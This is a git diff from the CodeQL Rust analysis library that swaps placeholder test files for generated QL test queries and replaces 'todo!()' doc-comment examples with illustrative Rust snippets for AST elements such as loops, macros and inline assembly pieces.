b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 +test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql f98889c27e64d193c61c595f0efbb6bbdae7cb214a0ce1c11dbb102979ca9714 5367f35345e665563161060a38dacebc9cf7bd3b48b2f0fd01bc8ef85ffa642c +test/extractor-tests/generated/AsmConst/AsmConst.ql 07f4d623883ad4ff0701d7dd50306c78493407295ae4ccef8c61eba2c58deb30 a66e9cbfea3c212b34628f0189a93ed493fcfd8baaa85338d746e69fe290deb0 +test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql 2ece012be6a62ea66737b2db8693f0e41bb23355d59784572d9193e056def5e4 59a4730da584dcf16e8d9e9f7d4fcd417fcf329933552e783375ad9715e46f4e +test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql d66f9672522b71318764f9c2dbdbeeaf895d66320997c3ba6a68daa7ea7c5600 de7d4231db182f63ab3e65ea5f4b548b530a6af7a79d7663a2250501a22e9783 test/extractor-tests/generated/AsmExpr/AsmExpr.ql 81db9651d3e3cb2041316f95484bfe2a7d84a93d03a25bd6bcb3db813557a6e0 96c40bdbeadb1e52c6291a4da648304070db435e13f5881ab795f5874ef5885c test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.ql 334f92d8b5ab4326d844c0e515c7cda84ba92dc598d5787dc88fe05beb04a7dd 845d6a740f5b8593a42cb00ef0212e8eae063dcd4b4e60af57e37bdfb61e4c0d test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.ql 93e644147ddc4de00c882c32d17ff3c22822e116b67361d52217619153b7d4c4 4c0c3f72707f41e879426ff75c5631e9283dc0507316740bec22216c5feb04e9 test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.ql d2070ad3509e5f4cf77d1ebd7ed730368627abf9c99e34cbece822f921f0a2dc 602646dd1bfcb3f6e09c1c3aa7a9d0cde38c60a397443c26d464fda15b9d86f5 -test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 -test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 +test/extractor-tests/generated/AsmLabel/AsmLabel.ql 5fa35306f29af248328e480445812d249428e1ca1ad8fd9bf6aaa92e864b14e4 93690a78ecb8bbb2fea9d56ce052bb12783596bde9664a6014b992c1ed9054a3 +test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql 2ca16a4c6cfa438393d7e805f7da3971929e18eb70014e7a9c715d043404d704 f9ea9dafa9b90cce5624e0f2f900eb2056a45a0dd4d53eb1f31267661f02d17a +test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql 660b7d5a466a7d426dd212ab7e4d7e990710aedcfd9e82d94757c9d3404f6040 a0afa9d7158f285e3fa306d3189bd0babe26d53cbf53a574de8239ff1046a7a6 +test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql 00c8ccb9d4694067810288022ee6d57007676f1b9d13071c2d3abc240421ed79 d0febfa9a18b9b34f747cdc23400ca6be63df187e2b37125a4da7460316ac0a9 +test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql 8a3890c5ae23ce0e20fb4ff1af574db1faffac3bdac75c1f13fb8bb3227d9335 f4ac325ffebfb1fc3cb68b4405b49a012a4cc1ad12c1f8dffb415232e2bb3ca2 +test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql ab7d567a6647f5cb03586b914131897d52d66909f1c8f0178ec07975560bdd42 ef4302d3dddd4bce1420e64b870da600c4368ab8cf888dc6e260d50d9e78dc2a +test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql 8836f5152483ef6897db1e6c761dfbf51df4addcd448b554ab9e397b72c8c10c 3751a2558255c721f959b9651040c0f6f7db77165492dab7555209eb36b97353 +test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql 8932726b3a76e3358a22499e4b5f6702c971d8ea6c0dad4d9edf7fd1a7e8e670 8aabd40dbdb0b46e48b875ad7fdf2dddc11d8520e94c2ef49c8fccf81f3936a1 +test/extractor-tests/generated/AsmOption/AsmOption.ql c3b734a8ed0c8cb7c2703243803244c70f6ab49cd5443808b51c69b542479cbb f33359108019bc7e489a3493a14cc8626393cf021b264e09c06f9997fb1f69ce +test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql b2be14f72b828d69058cdfe06f2e974e34ca4f864b6a792e18927ba6bad2bed8 44a766a4588b30e974e22e87c1620531b754d3d68fe30159f1cd75e556759b33 +test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql 1a775bb242deba03dcbc55469812a11e7bce4506c9258c6cb18696c4b26d7fe4 6c609d289c8bac2074513f52dd5ed5021224de212968db495f51709c9fb31dc8 +test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql 809114ab618f85ba8c4b87c6602ec0641445bdd1cd679b2abc9e3b0c0c790aeb ea18549186133865bf9eb62021d16ef702365c0c919dd8a2d00ca4a337eeb65c +test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql 3074826db602b4f716a7504b019d3834cd2ef1a3f411621780ef40b97603cfe1 2fa32c795d7024f6a7370edac9f9d762f685981cb5bf5886e930316a2830095a +test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql 0fb1e458b477158439eaf222eeb7c16ccdb12584fd87941c0f8b058ee1e91946 6f3297fca9c90ca730e9e02eb83a54f4077e03d36f9c268515300482e5c82a0a +test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql 138acb4234fd0607e1884304e712498f4d34cb0da52f55a3729b33ec69056b10 c4207e230d60405644bc6cc56d871901116900ccb6d33398fef7292229223969 +test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql c80510ab2e3975cdec4a98df8d0d0153bc46f64c677c89c208e9ced5c78f500c daf705c0e8cace232fc4609e70f7bc2f8565f47f18d0decf7da580405609b0fd +test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql 6c02b392b2e602c7257cd5591ded2674c37a54709a84250642f56671ac993f6c e9ec9a6202f8a6774ea46686f0a2b4c6a4511fec129ff95c61159e7102a50c7b +test/extractor-tests/generated/AsmSym/AsmSym.ql aa631efd6d31f9003e8b4deaf5fd918f0a3cfe4e319ccde918b47e4a23c43eda af41534bd153d88903217230fcea58b75227bb1ebff851e288f1353250d402f5 +test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql 84943b40c30a8f630e18b9807d600cad010d5b106c68efd2b8de24e72cc4a441 b186f89c722271d98cccbd7eaad8f2a49b46983ef5b6630ac9944d5025676da6 test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql e0bfc812d6bc06fcd820d67044831fbc7c6917e11f75565128c5a927c5706aa3 e4b765d91f1205ed818dc1143316aa642d968e7bcd65ed055579ab941c401637 test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getConstArg.ql c81e25fd7885f13c0500e8f9b84195876e70f2b25ad604046f497818226c8542 62ac0e7c82da169c248e4f9e0e8f866d2f4e599b03a287c2bd407b95a5d9efc8 test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getGenericArgList.ql 4d20375752c000aab8d2e4988fff1a5c95689d114c8d63f37b389b95000ee873 957e360a4eeefa2536958770a7d150fda610d1d45c09900dbe66e470e361e294 @@ -994,7 +1006,8 @@ test/extractor-tests/generated/ParenPat/ParenPat.ql 565182ccd81a9b420911b488c083 test/extractor-tests/generated/ParenPat/ParenPat_getPat.ql 96f3db0ec4e71fd8706192a16729203448ccc7b0a12ba0abeb0c20757b64fba1 0c66ba801869dc6d48dc0b2bca146757b868e8a88ad9429ba340837750f3a902 test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.ql a96bb8b51d8c0c466afc1c076834fa16edf7e67fffe2f641799850dee43099a2 0e6c375e621b7a7756d39e8edd78b671e53d1aac757ac54a26747fe5259c5394 test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.ql 64fe4ea708bc489ba64ed845f63cfbcd57c1179c57d95be309db37eac2f5eb71 0f4cbbfdf39d89830b5249cabf26d834fc2310b8a9579c19383c90cb4333afb7 -test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 +test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql 6d3496449d40e7ea083530de4e407731641c6a1ba23346c6a11b8b844b067995 9d21019a49d856728c8c8b73bcf982076794d8c8c9e2f30e75a9aa31348f5c60 +test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql 256164a0909def95501022cfbb786026c08c9ef50ff8da9e851a7ca8b1aaeb1f 8bfac08d3261f2c4b84fa3da46722f9c7ca866a6b964b5f1b8f78b81c97ae3f7 test/extractor-tests/generated/Path/Path.ql 2b02325ab1739bf41bc5f50d56b1e9cc72fca4093b03f2bda193699121e64448 c4d44402696ce10175ad8286dbd78277fbb81e7e1b886c0c27d5b88a7509052e test/extractor-tests/generated/Path/PathExpr.ql 5039fe730998a561f51813a0716e18c7c1d36b6da89936e4cfbdb4ef0e895560 cd3ddf8ab93cd573381807f59cded7fb3206f1dbdff582490be6f23bed2d6f29 test/extractor-tests/generated/Path/PathExpr_getAttr.ql 2ccac48cd91d86670c1d2742de20344135d424e6f0e3dafcc059555046f92d92 9b7b5f5f9e3674fad9b3a5bcd3cabc0dff32a95640da0fce6f4d0eb931f1757d @@ -1207,7 +1220,8 @@ test/extractor-tests/generated/Use/Use_getCrateOrigin.ql 912ebc1089aa3390d4142a3 test/extractor-tests/generated/Use/Use_getExtendedCanonicalPath.ql ccfde95c861cf4199e688b6efeeee9dab58a27cfecd520e39cc20f89143c03c9 6ff93df4134667d7cb74ae7efe102fe2db3ad4c67b4b5a0f8955f21997806f16 test/extractor-tests/generated/Use/Use_getUseTree.ql 1dfe6bb40b29fbf823d67fecfc36ba928b43f17c38227b8eedf19fa252edf3af aacdcc4cf418ef1eec267287d2af905fe73f5bcfb080ef5373d08da31c608720 test/extractor-tests/generated/Use/Use_getVisibility.ql 587f80acdd780042c48aeb347004be5e9fd9df063d263e6e4f2b660c48c53a8f 0c2c04f95838bca93dfe93fa208e1df7677797efc62b4e8052a4f9c5d20831dd -test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 +test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql ed7f240c960c888127298fac6b595477bc1481bdd1ed9a79124c6e6d8badc059 f30f69400600d52f10b1c54af0d00c0e617f5348cb0f5e235c93ef8e45c723a4 +test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql 971d94960a8cfcadf209202bb8d95d32da9b048ad6df9c520af1bf8e23acd1dc f6d6836592652cc63292aeb75d2349f4bed640047b130b79470703b8d1cd563d test/extractor-tests/generated/UseTree/UseTree.ql e305edd22df9e018a58f932774447354b7fcf0ba871b52b35f0ee9cd4f6dacdf 766a84116aa8ff3d90343c6730bcb161ff1d447bdb049cd21d6b2bbf3cb9032c test/extractor-tests/generated/UseTree/UseTree_getPath.ql 80384a99674bdda85315a36681cb22ad2ad094005a5543b63d930fc7e030dd5b 2cd92b5de8b4214527f8a58d641430f6804d9bd40927e1da0c7efda2f86f6544 test/extractor-tests/generated/UseTree/UseTree_getRename.ql ec3917501f3c89ac4974fab3f812d00b159ae6f2402dd20e5b4b3f8e8426391d db9ed981ce5f822aee349e5841d3126af7878d90e64140756ab4519552defe72 diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index e937789f907..3326912c0ca 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -673,21 +673,33 @@ /test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.ql linguist-generated /test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.ql linguist-generated /test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.ql linguist-generated -/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql linguist-generated +/test/extractor-tests/generated/AsmConst/AsmConst.ql linguist-generated +/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql linguist-generated +/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.ql linguist-generated -/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/AsmLabel/AsmLabel.ql linguist-generated +/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql linguist-generated +/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql linguist-generated +/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql linguist-generated +/test/extractor-tests/generated/AsmOption/AsmOption.ql linguist-generated +/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql linguist-generated +/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql linguist-generated +/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql linguist-generated +/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql linguist-generated +/test/extractor-tests/generated/AsmSym/AsmSym.ql linguist-generated +/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getConstArg.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getGenericArgList.ql linguist-generated @@ -996,7 +1008,8 @@ /test/extractor-tests/generated/ParenPat/ParenPat_getPat.ql linguist-generated /test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.ql linguist-generated /test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.ql linguist-generated -/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql linguist-generated +/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql linguist-generated /test/extractor-tests/generated/Path/Path.ql linguist-generated /test/extractor-tests/generated/Path/PathExpr.ql linguist-generated /test/extractor-tests/generated/Path/PathExpr_getAttr.ql linguist-generated @@ -1209,7 +1222,8 @@ /test/extractor-tests/generated/Use/Use_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Use/Use_getUseTree.ql linguist-generated /test/extractor-tests/generated/Use/Use_getVisibility.ql linguist-generated -/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql linguist-generated +/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql linguist-generated /test/extractor-tests/generated/UseTree/UseTree.ql linguist-generated /test/extractor-tests/generated/UseTree/UseTree_getPath.ql linguist-generated /test/extractor-tests/generated/UseTree/UseTree_getRename.ql linguist-generated diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll index 55004ddc8f7..02cde40e182 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll @@ -968,9 +968,13 @@ module MakeCfgNodes Input> { } /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ final class ForExprCfgNode extends CfgNodeFinal, LoopingExprCfgNode { @@ -1823,9 +1827,12 @@ module MakeCfgNodes Input> { } /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); + * //^^^^^^^ * ``` */ final class MacroCallCfgNode extends CfgNodeFinal { @@ -1891,9 +1898,11 @@ module MakeCfgNodes Input> { } /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ final class MacroExprCfgNode extends CfgNodeFinal, ExprCfgNode { @@ -1926,9 +1935,14 @@ module MakeCfgNodes Input> { } /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * match x { + * my_macro!() => "matched", + * _ => "not matched", + * } * ``` */ final class MacroPatCfgNode extends CfgNodeFinal, PatCfgNode { @@ -2082,9 +2096,12 @@ module MakeCfgNodes Input> { } /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ final class NameCfgNode extends CfgNodeFinal { @@ -2696,9 +2713,12 @@ module MakeCfgNodes Input> { } /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ final class RestPatCfgNode extends CfgNodeFinal, PatCfgNode { @@ -2961,9 +2981,12 @@ module MakeCfgNodes Input> { } /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ final class TryExprCfgNode extends CfgNodeFinal, ExprCfgNode { @@ -3186,9 +3209,13 @@ module MakeCfgNodes Input> { } /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ final class WhileExprCfgNode extends CfgNodeFinal, LoopingExprCfgNode { diff --git a/rust/ql/lib/codeql/rust/elements/Abi.qll b/rust/ql/lib/codeql/rust/elements/Abi.qll index f8c95ad23a4..129eca161df 100644 --- a/rust/ql/lib/codeql/rust/elements/Abi.qll +++ b/rust/ql/lib/codeql/rust/elements/Abi.qll @@ -7,9 +7,12 @@ private import internal.AbiImpl import codeql.rust.elements.AstNode /** - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` */ final class Abi = Impl::Abi; diff --git a/rust/ql/lib/codeql/rust/elements/ArgList.qll b/rust/ql/lib/codeql/rust/elements/ArgList.qll index 1f62274e1b0..e2f7b1e0bfa 100644 --- a/rust/ql/lib/codeql/rust/elements/ArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/ArgList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Expr /** - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` */ final class ArgList = Impl::ArgList; diff --git a/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll index f1d2b20a8e0..0b0e32f7add 100644 --- a/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.ConstArg import codeql.rust.elements.TypeRepr /** - * A ArrayTypeRepr. For example: + * An array type representation. + * + * For example: * ```rust - * todo!() + * let arr: [i32; 4]; + * // ^^^^^^^^ * ``` */ final class ArrayTypeRepr = Impl::ArrayTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll b/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll index 422d02d8ce0..a8f37c922b9 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmClobberAbi.qll @@ -6,4 +6,13 @@ private import internal.AsmClobberAbiImpl import codeql.rust.elements.AsmPiece +/** + * A clobbered ABI in an inline assembly block. + * + * For example: + * ```rust + * asm!("", clobber_abi("C")); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmClobberAbi = Impl::AsmClobberAbi; diff --git a/rust/ql/lib/codeql/rust/elements/AsmConst.qll b/rust/ql/lib/codeql/rust/elements/AsmConst.qll index b02dc20b865..fef34ac1c5b 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmConst.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmConst.qll @@ -7,4 +7,13 @@ private import internal.AsmConstImpl import codeql.rust.elements.AsmOperand import codeql.rust.elements.Expr +/** + * A constant operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov eax, {const}", const 42); + * // ^^^^^^^ + * ``` + */ final class AsmConst = Impl::AsmConst; diff --git a/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll b/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll index 39af5ad9e07..775e7581f4f 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmDirSpec.qll @@ -6,4 +6,13 @@ private import internal.AsmDirSpecImpl import codeql.rust.elements.AstNode +/** + * An inline assembly directive specification. + * + * For example: + * ```rust + * asm!("nop"); + * // ^^^^^ + * ``` + */ final class AsmDirSpec = Impl::AsmDirSpec; diff --git a/rust/ql/lib/codeql/rust/elements/AsmLabel.qll b/rust/ql/lib/codeql/rust/elements/AsmLabel.qll index e5499804278..2fce4ca27c2 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmLabel.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmLabel.qll @@ -7,4 +7,13 @@ private import internal.AsmLabelImpl import codeql.rust.elements.AsmOperand import codeql.rust.elements.BlockExpr +/** + * A label in an inline assembly block. + * + * For example: + * ```rust + * asm!("jmp {label}", label = sym my_label); + * // ^^^^^^^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmLabel = Impl::AsmLabel; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll b/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll index cccc425d3fb..a18b51590d4 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOperandExpr.qll @@ -7,4 +7,13 @@ private import internal.AsmOperandExprImpl import codeql.rust.elements.AstNode import codeql.rust.elements.Expr +/** + * An operand expression in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ final class AsmOperandExpr = Impl::AsmOperandExpr; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll b/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll index 6c759280912..612b7139cee 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOperandNamed.qll @@ -8,4 +8,13 @@ import codeql.rust.elements.AsmOperand import codeql.rust.elements.AsmPiece import codeql.rust.elements.Name +/** + * A named operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); + * // ^^^^^ ^^^^ + * ``` + */ final class AsmOperandNamed = Impl::AsmOperandNamed; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOption.qll b/rust/ql/lib/codeql/rust/elements/AsmOption.qll index 10dd031f0a6..546cf793ba8 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOption.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOption.qll @@ -6,4 +6,13 @@ private import internal.AsmOptionImpl import codeql.rust.elements.AstNode +/** + * An option in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmOption = Impl::AsmOption; diff --git a/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll b/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll index 94e82023e17..d79ca332c4a 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmOptionsList.qll @@ -7,4 +7,13 @@ private import internal.AsmOptionsListImpl import codeql.rust.elements.AsmOption import codeql.rust.elements.AsmPiece +/** + * A list of options in an inline assembly block. + * + * For example: + * ```rust + * asm!("", options(nostack, nomem)); + * // ^^^^^^^^^^^^^^^^ + * ``` + */ final class AsmOptionsList = Impl::AsmOptionsList; diff --git a/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll b/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll index 4ce8deb4b69..7a2bd55005f 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmRegOperand.qll @@ -9,4 +9,13 @@ import codeql.rust.elements.AsmOperand import codeql.rust.elements.AsmOperandExpr import codeql.rust.elements.AsmRegSpec +/** + * A register operand in an inline assembly block. + * + * For example: + * ```rust + * asm!("mov {0}, {1}", out(reg) x, in(reg) y); + * // ^ ^ + * ``` + */ final class AsmRegOperand = Impl::AsmRegOperand; diff --git a/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll b/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll index 5408dddc99b..33165c6c720 100644 --- a/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/AsmRegSpec.qll @@ -7,4 +7,13 @@ private import internal.AsmRegSpecImpl import 